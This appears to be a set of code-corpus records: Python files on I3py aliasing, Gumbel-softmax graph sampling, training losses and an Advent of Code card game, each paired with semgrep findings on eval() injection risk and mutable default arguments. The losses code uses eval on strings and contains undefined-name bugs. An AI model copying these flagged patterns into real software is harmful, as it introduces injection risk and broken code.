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} | 2.5625 | stackv2 | # -*- coding: utf-8 -*-
# -----------------------------------------------------------------------------
# Copyright 2016-2017 by I3py Authors, see AUTHORS for more details.
#
# Distributed under the terms of the BSD license.
#
# The full license is in the file LICENCE, distributed with this software.
# -----------------------------------------------------------------------------
"""Feature whose value is mapped to another Feature.
"""
from types import MethodType
from typing import Any, Dict, Callable
from ..abstracts import AbstractHasFeatures
from .feature import Feature, get_chain, set_chain
GET_DEF =\
"""def get(self, driver):
return {}
"""
SET_DEF =\
"""def set(self, driver, value):
{} = value
"""
class Alias(Feature):
"""Feature whose value is mapped to another Feature.
Parameters
----------
alias : str
Path to the feature to which the alias refers to. The path should be
dot separated and use leading dots to access to parent features.
settable: bool, optional
Boolean indicating if the alias can be used to set the value of the
aliased feature.
"""
def __init__(self, alias: str, settable: bool=False) -> None:
super(Alias, self).__init__(True, settable if settable else None)
accessor = 'driver.' + '.'.join([p if p else 'parent'
for p in alias.split('.')])
defs = GET_DEF.format(accessor)
if settable:
defs += '\n' + SET_DEF.format(accessor)
loc: Dict[str, Callable] = {}
exec(defs, globals(), loc)
self.get = MethodType(loc['get'], self) # type: ignore
if settable:
self.set = MethodType(loc['set'], self) # type: ignore
def post_set(self, driver: AbstractHasFeatures, value: Any, i_value: Any,
response: Any):
"""Re-implemented here as an Alias does not need to do anything
by default.
"""
pass
# =========================================================================
# --- Private API ---------------------------------------------------------
# =========================================================================
def _get(self, driver: AbstractHasFeatures):
"""Re-implemented so that Alias never use the cache.
"""
with driver.lock:
return get_chain(self, driver)
def _set(self, driver: AbstractHasFeatures, value: Any):
"""Re-implemented so that Alias never uses the cache.
"""
with driver.lock:
set_chain(self, driver, value)
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} | 2.640625 | stackv2 | import numpy as np
import torch
import torch.nn.functional as F
def sample_gumbel(shape, eps=1e-10):
"""
NOTE: Stolen from https://github.com/YongfeiYan/Gumbel_Softmax_VAE/blob/master/gumbel_softmax_vae.py
Sample from Gumbel(0, 1)
based on
https://github.com/ericjang/gumbel-softmax/blob/3c8584924603869e90ca74ac20a6a03d99a91ef9/Categorical%20VAE.ipynb ,
(MIT license)
"""
U = torch.rand(shape).float()
return -torch.log(eps - torch.log(U + eps))
def gumbel_softmax_sample(logits, temp=1, eps=1e-10, dim=-1):
"""
NOTE: Stolen from https://github.com/YongfeiYan/Gumbel_Softmax_VAE/blob/master/gumbel_softmax_vae.py
Draw a sample from the Gumbel-Softmax distribution
based on
https://github.com/ericjang/gumbel-softmax/blob/3c8584924603869e90ca74ac20a6a03d99a91ef9/Categorical%20VAE.ipynb
(MIT license)
"""
gumbel_noise = sample_gumbel(logits.size(), eps=eps)
if logits.is_cuda:
gumbel_noise = gumbel_noise.cuda()
y = logits + gumbel_noise
return F.softmax(y / temp, dim=dim)
def gumbel_softmax(logits, temp=1, hard=False, eps=1e-10, dim=-1):
"""
NOTE: Stolen from https://github.com/YongfeiYan/Gumbel_Softmax_VAE/blob/master/gumbel_softmax_vae.py
Added dimension selection feature.
based on
https://github.com/ericjang/gumbel-softmax/blob/3c8584924603869e90ca74ac20a6a03d99a91ef9/Categorical%20VAE.ipynb ,
(MIT license)
"""
y_soft = gumbel_softmax_sample(logits, temp=temp, eps=eps, dim=dim)
if hard:
shape = logits.size()
_, idx = y_soft.max(dim=dim, keepdim=True)
# this bit is based on
# https://discuss.pytorch.org/t/stop-gradients-for-st-gumbel-softmax/530/5
y_hard = torch.zeros_like(y_soft)
if y_soft.is_cuda:
y_hard = y_hard.cuda()
y_hard = y_hard.zero_().scatter_(dim, idx, 1.0)
y = (y_hard - y_soft).detach() + y_soft
else:
y = y_soft
return y
def threshold_sampling(logits, threshold=0.5, hard=False):
"""
Omit Gumbel sampling for deterministic sampling.
"""
y_soft = torch.sigmoid(logits)
y_hard = y_soft.ge(threshold).to(y_soft.device, dtype=torch.float32)
y = (y_hard - y_soft).detach() + y_soft
return y
def threshold_sampling_v2(logits, threshold=0.5, hard=False):
"""
Omit Gumbel sampling for deterministic sampling.
V2 different: no sigmoid in sampling function (sigmoid is applied at logit function)
"""
# y_soft = torch.sigmoid(logits)
y_soft = logits
y_hard = y_soft.ge(threshold).to(y_soft.device, dtype=torch.float32)
y = (y_hard - y_soft).detach() + y_soft
return y
def binary_accuracy(output, labels):
preds = output > 0.5
correct = preds.type_as(labels).eq(labels).double()
correct = correct.sum()
return correct / len(labels)
def encode_onehot(labels):
classes = set(labels)
classes_dict = {
c: np.identity(len(classes))[i, :] for i, c in enumerate(classes)
}
labels_onehot = np.array(list(map(classes_dict.get, labels)),
dtype=np.int32)
return labels_onehot
def get_triu_indices(num_nodes):
"""Linear triu (upper triangular) indices."""
ones = torch.ones(num_nodes, num_nodes)
eye = torch.eye(num_nodes, num_nodes)
triu_indices = (ones.triu() - eye).nonzero().t()
triu_indices = triu_indices[0] * num_nodes + triu_indices[1]
return triu_indices
def get_tril_indices(num_nodes):
"""Linear tril (lower triangular) indices."""
ones = torch.ones(num_nodes, num_nodes)
eye = torch.eye(num_nodes, num_nodes)
tril_indices = (ones.tril() - eye).nonzero().t()
tril_indices = tril_indices[0] * num_nodes + tril_indices[1]
return tril_indices
def get_offdiag_indices(num_nodes):
"""Linear off-diagonal indices."""
ones = torch.ones(num_nodes, num_nodes)
eye = torch.eye(num_nodes, num_nodes)
offdiag_indices = (ones - eye).nonzero().t()
offdiag_indices = offdiag_indices[0] * num_nodes + offdiag_indices[1]
return offdiag_indices
def get_triu_offdiag_indices(num_nodes):
"""Linear triu (upper) indices w.r.t. vector of off-diagonal elements."""
triu_idx = torch.zeros(num_nodes * num_nodes)
triu_idx[get_triu_indices(num_nodes)] = 1.
triu_idx = triu_idx[get_offdiag_indices(num_nodes)]
return triu_idx.nonzero()
def get_tril_offdiag_indices(num_nodes):
"""Linear tril (lower) indices w.r.t. vector of off-diagonal elements."""
tril_idx = torch.zeros(num_nodes * num_nodes)
tril_idx[get_tril_indices(num_nodes)] = 1.
tril_idx = tril_idx[get_offdiag_indices(num_nodes)]
return tril_idx.nonzero()
def mat_to_offdiag(inputs, num_atoms, num_edge_types):
off_diag_idx = np.ravel_multi_index(
np.where(np.ones((num_atoms, num_atoms)) - np.eye(num_atoms)),
[num_atoms, num_atoms]).astype(np.int32)
num_edges = (num_atoms * num_atoms) - num_atoms
if not inputs.is_contiguous():
inputs = inputs.contiguous()
inputs = inputs.view(-1, num_edge_types, num_atoms * num_atoms)
inputs = torch.transpose(inputs, 2, 1)
off_diag_idx = torch.LongTensor(off_diag_idx)
if inputs.is_cuda:
off_diag_idx = off_diag_idx.cuda()
mat_offdiag = torch.index_select(inputs, 1, off_diag_idx).contiguous()
return mat_offdiag
def offdiag_to_mat(inputs, num_nodes):
off_diag_idx = np.ravel_multi_index(
np.where(np.ones((num_nodes, num_nodes)) - np.eye(num_nodes)),
[num_nodes, num_nodes]).astype(np.int32)
batch_size = inputs.size(0)
edge_types = inputs.size(2)
output = torch.zeros((batch_size, num_nodes * num_nodes, edge_types))
if inputs.is_cuda:
output = output.cuda()
output[:, off_diag_idx, :] = inputs
output = output.view(batch_size, num_nodes, num_nodes, edge_types)
return output
def sample_graph(logits, args):
if args.deterministic_sampling:
edges = threshold_sampling(logits, threshold=args.threshold)
else:
edges = gumbel_softmax(logits, temp=args.temp, hard=args.hard)
return edges
def sample_graph_v2(logits, args):
if args.deterministic_sampling:
edges = threshold_sampling_v2(logits, threshold=args.threshold)
else:
edges = gumbel_softmax(logits, temp=args.temp, hard=args.hard)
return edges
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} | 2.390625 | stackv2 | from evkit.models.taskonomy_network import TaskonomyDecoder
from tlkit.utils import SINGLE_IMAGE_TASKS, TASKS_TO_CHANNELS, FEED_FORWARD_TASKS
import torch
import torch.nn.functional as F
def softmax_cross_entropy(inputs, target, weight=None, cache={}, size_average=None, ignore_index=-100,
reduce=None, reduction='mean'):
cache['predictions'] = inputs
cache['labels'] = target
if len(target.shape) == 2: # unsqueeze one-hot representation
target = torch.argmax(target, dim=1)
loss = F.cross_entropy(inputs, target, weight)
# when working with 2D data, cannot use spatial weight mask, it becomes categorical/class
return {'total': loss, 'xentropy': loss}
def heteroscedastic_normal(mean_and_scales, target, weight=None, cache={}, eps=1e-2):
mu, scales = mean_and_scales
loss = (mu - target)**2 / (scales**2 + eps) + torch.log(scales**2 + eps)
# return torch.sum(weight * loss) / torch.sum(weight) if weight is not None else loss.mean()
loss = torch.mean(weight * loss) / weight.mean() if weight is not None else loss.mean()
return {'total': loss, 'nll': loss}
def heteroscedastic_double_exponential(mean_and_scales, target, weight=None, cache={}, eps=5e-2):
mu, scales = mean_and_scales
loss = torch.abs(mu - target) / (scales + eps) + torch.log(2.0 * (scales + eps))
loss = torch.mean(weight * loss) / weight.mean() if weight is not None else loss.mean()
return {'total': loss, 'nll': loss}
def weighted_mse_loss(inputs, target, weight=None, cache={}):
losses = {}
cache['predictions'] = inputs
cache['labels'] = target
if weight is not None:
# sq = (inputs - target) ** 2
# weightsq = torch.sum(weight * sq)
loss = torch.mean(weight * (inputs - target) ** 2)/torch.mean(weight)
else:
loss = F.mse_loss(inputs, target)
return {'total': loss, 'mse': loss}
weighted_l2_loss = weighted_mse_loss
def weighted_l1_loss(inputs, target, weight=None, cache={}):
target = target.float()
if weight is not None:
loss = torch.mean(weight * torch.abs(inputs - target))/torch.mean(weight)
else:
loss = F.l1_loss(inputs, target)
return {'total': loss, 'l1': loss}
def perceptual_l1_loss(decoder_path, bake_decodings):
task = [t for t in SINGLE_IMAGE_TASKS if t in decoder_path][0]
decoder = TaskonomyDecoder(TASKS_TO_CHANNELS[task], feed_forward=task in FEED_FORWARD_TASKS)
checkpoint = torch.load(decoder_path)
decoder.load_state_dict(checkpoint['state_dict'])
decoder.cuda()
decoder.eval()
print(f'Loaded decoder from {decoder_path} for perceptual loss')
def runner(inputs, target, weight=None, cache={}):
# the last arguments are so we can 'cache' and pass the decodings outside
inputs_decoded = decoder(inputs)
targets_decoded = target if bake_decodings else decoder(target)
cache['predictions'] = inputs_decoded
cache['labels'] = targets_decoded
if weight is not None:
loss = torch.mean(weight * torch.abs(inputs_decoded - targets_decoded))/torch.mean(weight)
else:
loss = F.l1_loss(inputs_decoded, targets_decoded)
return {'total': loss, 'perceptual_l1': loss}
return runner
def perceptual_l2_loss(decoder_path, bake_decodings):
task = [t for t in SINGLE_IMAGE_TASKS if t in decoder_path][0]
decoder = TaskonomyDecoder(TASKS_TO_CHANNELS[task], feed_forward=task in FEED_FORWARD_TASKS)
checkpoint = torch.load(decoder_path)
decoder.load_state_dict(checkpoint['state_dict'])
decoder.cuda()
decoder.eval()
print(f'Loaded decoder from {decoder_path} for perceptual loss')
def runner(inputs, target, weight=None, cache={}):
# the last arguments are so we can 'cache' and pass the decodings outside
inputs_decoded = decoder(inputs)
targets_decoded = target if bake_decodings else decoder(target)
cache['predictions'] = inputs_decoded
cache['labels'] = targets_decoded
if weight is not None:
loss = torch.mean(weight * (inputs_decoded - targets_decoded) ** 2)/torch.mean(weight)
else:
loss = F.mse_loss(inputs_decoded, targets_decoded)
return {'total': loss, 'perceptual_mse': loss}
return runner
def dense_softmax_cross_entropy_loss(inputs, targets, cache={}): # these should be logits (batch_size, n_class)
batch_size, _ = targets.shape
losses = {}
losses['final'] = -1. * torch.sum(torch.softmax(targets.float(), dim=1) * F.log_softmax(inputs.float(), dim=1)) / batch_size
losses['standard'] = losses['final']
return losses
def dense_cross_entropy_loss_(inputs, targets): # these should be logits (batch_size, n_class)
batch_size, _ = targets.shape
return -1. * torch.sum(targets * F.log_softmax(inputs, dim=1)) / batch_size
# def dense_softmax_cross_entropy(inputs, targets, weight=None, cache={}):
# assert weight == None
# cache['predictions'] = inputs
# cache['labels'] = targets
# # print(targets.shape)
# batch_size, _ = targets.shape
# loss = -1. * torch.sum(torch.softmax(targets, dim=1) * F.log_softmax(inputs, dim=1)) / batch_size
# loss = F.mse_loss(inputs, targets.detach())
# return {'total': loss, 'xentropy': loss}
def dense_softmax_cross_entropy(inputs, targets, weight=None, cache={}):
assert weight is None
cache['predictions'] = inputs
cache['labels'] = targets
batch_size, _ = targets.shape
loss = -1. * torch.sum(torch.softmax(targets.detach(), dim=1) * F.log_softmax(inputs, dim=1)) / batch_size
# loss = F.mse_loss(inputs, targets.detach())
return {'total': loss, 'xentropy': loss}
def dense_cross_entropy(inputs, targets, weight=None, cache={}):
assert weight == None
cache['predictions'] = inputs
cache['labels'] = targets
batch_size, _ = targets.shape
loss = -1. * torch.sum(targets.detach() * F.log_softmax(inputs, dim=1)) / batch_size
# loss = F.mse_loss(inputs, targets.detach())
return {'total': loss, 'xentropy': loss}
def perceptual_cross_entropy_loss(decoder_path, bake_decodings):
task = [t for t in SINGLE_IMAGE_TASKS if t in decoder_path][0]
decoder = TaskonomyDecoder(TASKS_TO_CHANNELS[task], feed_forward=task in FEED_FORWARD_TASKS)
checkpoint = torch.load(decoder_path)
decoder.load_state_dict(checkpoint['state_dict'])
decoder.cuda()
decoder.eval()
print(f'Loaded decoder from {decoder_path} for perceptual loss')
def runner(inputs, target, weight=None, cache={}):
# the last arguments are so we can 'cache' and pass the decodings outside
inputs_decoded = decoder(inputs)
targets_decoded = target if bake_decodings else decoder(target)
cache['predictions'] = inputs_decoded
cache['labels'] = targets_decoded
return dense_softmax_cross_entropy_loss_(inputs_decoded, targets_decoded)
return runner
def identity_regularizer(loss_fn, model):
def runner(inputs, target, weight=None, cache={}):
losses = loss_fn(inputs, target, weight, cache)
return losses
return runner
def transfer_regularizer(loss_fn, model, reg_loss_fn='F.l1_loss', coef=1e-3):
def runner(inputs, target, weight=None, cache={}):
orig_losses = loss_fn(inputs, target, weight, cache)
#if isinstance(model, PolicyWithBase):
if type(model).__name__ == "PolicyWithBase":
# Imitation Learning - retreive encodings via the cache
assert 'base_encoding' in cache and 'transfered_encoding' in cache, f'cache is missing keys {cache.keys()}'
regularization_loss = 0
for base_encoding, transfered_encoding in zip(cache['base_encoding'], cache['transfered_encoding']):
regularization_loss += eval(reg_loss_fn)(model.base.perception_unit.sidetuner.net.transfer_network(base_encoding), transfered_encoding)
else:
# Vision Transfers - retreive encodings directly from model attributes
# (cannot do this for IL due to the FrameStacked being iterative)
assert isinstance(model.side_output, torch.Tensor), 'Cannot regularize side network if it is not used'
regularization_loss = eval(reg_loss_fn)(model.transfer_network(model.base_encoding), model.transfered_encoding)
orig_losses.update({
'total': orig_losses['total'] + coef * regularization_loss,
'weight_tying': regularization_loss,
})
return orig_losses
return runner
def perceptual_regularizer(loss_fn, model, coef=1e-3, decoder_path=None, use_transfer=True, reg_loss_fn='F.mse_loss'):
# compares model.base_encoding E(x) and model.transfered_encoding T(E(x) + S(x))
# use_transfer means we will compare exactly above
# use_transfer=False means we will compare model.base_encoding E(x) and model.merged_encoding E(x) + S(x)
# Recall, decoder requires unnormalized inputs!
assert decoder_path is not None, 'Pass in a decoder to which to transform our parameters and regularize on'
task = [t for t in SINGLE_IMAGE_TASKS if t in decoder_path][0]
decoder = TaskonomyDecoder(TASKS_TO_CHANNELS[task], feed_forward=task in FEED_FORWARD_TASKS)
checkpoint = torch.load(decoder_path)
decoder.load_state_dict(checkpoint['state_dict'])
decoder.cuda()
decoder.eval()
if task in FEED_FORWARD_TASKS:
reg_loss_fn = "dense_softmax_cross_entropy_loss_"
else:
reg_loss_fn = "F.l1_loss"
print(f'Loaded decoder from {decoder_path} for perceptual loss')
def runner(inputs, target, weight=None, cache={}):
orig_losses = loss_fn(inputs, target, weight, cache)
if type(model).__name__ == "PolicyWithBase":
# Imitation Learning - retreive encodings via the cache
assert 'base_encoding' in cache, f'cache is missing base {cache.keys()}'
if use_transfer:
assert 'transfered_encoding' in cache, f'cache is missing tied {cache.keys()}'
tied_encodings = cache['transfered_encoding']
else:
assert 'merged_encoding' in cache, f'cache is missing tied{cache.keys()}'
tied_encodings = cache['merged_encoding']
regularization_loss = 0
for base_encoding, tied_encoding in zip(cache['base_encoding'], tied_encodings):
regularization_loss += eval(reg_loss_fn)(decoder(base_encoding), decoder(tied_encoding))
else:
# Vision Transfers - retreive encodings directly from model attributes
# (cannot do this for IL due to the FrameStacked being iterative)
assert isinstance(model.side_output, torch.Tensor), 'Cannot regularize side network if it is not used'
if use_transfer:
tied_encoding = model.transfered_encoding
else:
tied_encoding = model.merged_encoding
losses['weight_tying'] = eval(reg_loss_fn)(decoder(model.base_encoding), decoder(tied_encoding))
regularization_loss = reg_loss_fn(decoder(model.base_encoding), decoder(tied_encoding))
orig_losses.update({
'total': orig_losses['total'] + coef * regularization_loss,
'weight_tying': regularization_loss,
})
return orig_losses
return runner
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This can cause unexpected results, or lead to security vulnerabilities whereby one function consumer can view or modify the data of another function consumer. Instead, use a default argument (like None) to indicate that no argument was provided and instantiate a new dictionary at that time. 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If the default function argument is mutated, that will modify the instance used by all future function calls. This can cause unexpected results, or lead to security vulnerabilities whereby one function consumer can view or modify the data of another function consumer. Instead, use a default argument (like None) to indicate that no argument was provided and instantiate a new dictionary at that time. For example: `if cache is None: cache = {}`.", "metadata": {"category": "correctness", "technology": ["python"], "references": ["https://docs.python-guide.org/writing/gotchas/#mutable-default-arguments"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.common-mistakes.default-mutable-dict_4f869c82d83d165c_00faca8a", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.common-mistakes.default-mutable-dict", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "Function dense_cross_entropy mutates default dict cache. Python only instantiates default function arguments once and shares the instance across the function calls. If the default function argument is mutated, that will modify the instance used by all future function calls. This can cause unexpected results, or lead to security vulnerabilities whereby one function consumer can view or modify the data of another function consumer. Instead, use a default argument (like None) to indicate that no argument was provided and instantiate a new dictionary at that time. For example: `if cache is None: cache = {}`.", "remediation": "", "location": {"file_path": "unknown", "line_start": 128, "line_end": 128, "column_start": 5, "column_end": 34, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python-guide.org/writing/gotchas/#mutable-default-arguments", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.common-mistakes.default-mutable-dict", "path": "/tmp/tmpb8jm_z1l/4f869c82d83d165c.py", "start": {"line": 128, "col": 5, "offset": 5822}, "end": {"line": 128, "col": 34, "offset": 5851}, "extra": {"message": "Function dense_cross_entropy mutates default dict cache. Python only instantiates default function arguments once and shares the instance across the function calls. If the default function argument is mutated, that will modify the instance used by all future function calls. This can cause unexpected results, or lead to security vulnerabilities whereby one function consumer can view or modify the data of another function consumer. Instead, use a default argument (like None) to indicate that no argument was provided and instantiate a new dictionary at that time. For example: `if cache is None: cache = {}`.", "metadata": {"category": "correctness", "technology": ["python"], "references": ["https://docs.python-guide.org/writing/gotchas/#mutable-default-arguments"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.common-mistakes.default-mutable-dict_4f869c82d83d165c_7e76ab99", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.common-mistakes.default-mutable-dict", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "Function dense_cross_entropy mutates default dict cache. Python only instantiates default function arguments once and shares the instance across the function calls. If the default function argument is mutated, that will modify the instance used by all future function calls. This can cause unexpected results, or lead to security vulnerabilities whereby one function consumer can view or modify the data of another function consumer. Instead, use a default argument (like None) to indicate that no argument was provided and instantiate a new dictionary at that time. For example: `if cache is None: cache = {}`.", "remediation": "", "location": {"file_path": "unknown", "line_start": 129, "line_end": 129, "column_start": 5, "column_end": 30, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python-guide.org/writing/gotchas/#mutable-default-arguments", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.common-mistakes.default-mutable-dict", "path": "/tmp/tmpb8jm_z1l/4f869c82d83d165c.py", "start": {"line": 129, "col": 5, "offset": 5856}, "end": {"line": 129, "col": 30, "offset": 5881}, "extra": {"message": "Function dense_cross_entropy mutates default dict cache. Python only instantiates default function arguments once and shares the instance across the function calls. If the default function argument is mutated, that will modify the instance used by all future function calls. This can cause unexpected results, or lead to security vulnerabilities whereby one function consumer can view or modify the data of another function consumer. Instead, use a default argument (like None) to indicate that no argument was provided and instantiate a new dictionary at that time. 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Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 169, "line_end": 169, "column_start": 40, "column_end": 57, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmpb8jm_z1l/4f869c82d83d165c.py", "start": {"line": 169, "col": 40, "offset": 7840}, "end": {"line": 169, "col": 57, "offset": 7857}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_4f869c82d83d165c_80dc9d3e", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 174, "line_end": 174, "column_start": 35, "column_end": 52, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmpb8jm_z1l/4f869c82d83d165c.py", "start": {"line": 174, "col": 35, "offset": 8277}, "end": {"line": 174, "col": 52, "offset": 8294}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_4f869c82d83d165c_98c2aa39", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. 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Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 217, "line_end": 217, "column_start": 40, "column_end": 57, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmpb8jm_z1l/4f869c82d83d165c.py", "start": {"line": 217, "col": 40, "offset": 10458}, "end": {"line": 217, "col": 57, "offset": 10475}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. 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"Detected the use of eval(). eval() can be dangerous if used... | [
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] | losses.py | /evkit/utils/losses.py | lilujunai/side-tuning | MIT | |
2024-11-18T18:05:44.364393+00:00 | 1,611,199,867,000 | ee5b19626616ec7568a5cb774bc5a76529f3c51e | 3 | {
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} | 2.921875 | stackv2 | from more_itertools import split_at
grps = split_at(map(str.rstrip, open('d22.txt')), pred=lambda e: e == '')
grps = list(grps)
grp1 = list(map(int, grps[0][1:]))
grp2 = list(map(int, grps[1][1:]))
FIRST_DECK_WON = 0
SECOND_DECK_WON = 1
old_print=print
print=lambda *args: None
def match(grp1, grp2, depth=0):
memo = set()
print('Match')
print('-' * 30)
round = 1
while grp1 and grp2:
print(f'Round {round} (Game {depth + 1})'); round += 1
print(f"Player 1's deck: {','.join(map(str,grp1))}")
print(f"Player 2's deck: {','.join(map(str,grp2))}\n")
if (tuple(grp1), tuple(grp2)) in memo:
print('Game repeat detected')
return FIRST_DECK_WON
if len(grp1) > grp1[0] and len(grp2) > grp2[0]:
memo.add((tuple(grp1), tuple(grp2)))
which_deck_won = match(grp1[:][1:1+grp1[0]], grp2[:][1:1+grp2[0]], depth+1)
print(f"Returning from sub-game {depth+1}")
print("<" * 30)
if which_deck_won == FIRST_DECK_WON:
print(f'Player 1 won sub-game {depth+1}')
# if player 1 wins, then the order of cards added to player 1's deck
# is P1's winning card, _then_ P2's losing card
grp1.append(grp1[0])
grp1.append(grp2[0])
else:
print(f'Player 2 won sub-game {depth+1}')
grp2.append(grp2[0])
grp2.append(grp1[0])
elif grp1[0] < grp2[0]:
# p2 wins
memo.add((tuple(grp1), tuple(grp2)))
grp2.append(grp2[0])
grp2.append(grp1[0])
else:
# p1 wins
memo.add((tuple(grp1), tuple(grp2)))
grp1.append(grp1[0])
grp1.append(grp2[0])
del grp1[0]
del grp2[0]
winner = SECOND_DECK_WON if not grp1 else FIRST_DECK_WON
return winner
winner = match(grp1, grp2)
winner = grp2 if winner == SECOND_DECK_WON else grp1
pts = sum((len(winner) - pos) * val for pos, val in enumerate(winner))
old_print(pts)
# return (SECOND_DECK_WON if not grp1 else FIRST_DECK_WON), pts | 61 | 34.2 | 87 | 17 | 668 | python | [{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_55824a47a9bd1ce1_67992cf1", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 2, "line_end": 2, "column_start": 33, "column_end": 48, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/55824a47a9bd1ce1.py", "start": {"line": 2, "col": 33, "offset": 68}, "end": {"line": 2, "col": 48, "offset": 83}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_55824a47a9bd1ce1_909ab579", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 2, "line_end": 2, "column_start": 66, "column_end": 73, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, 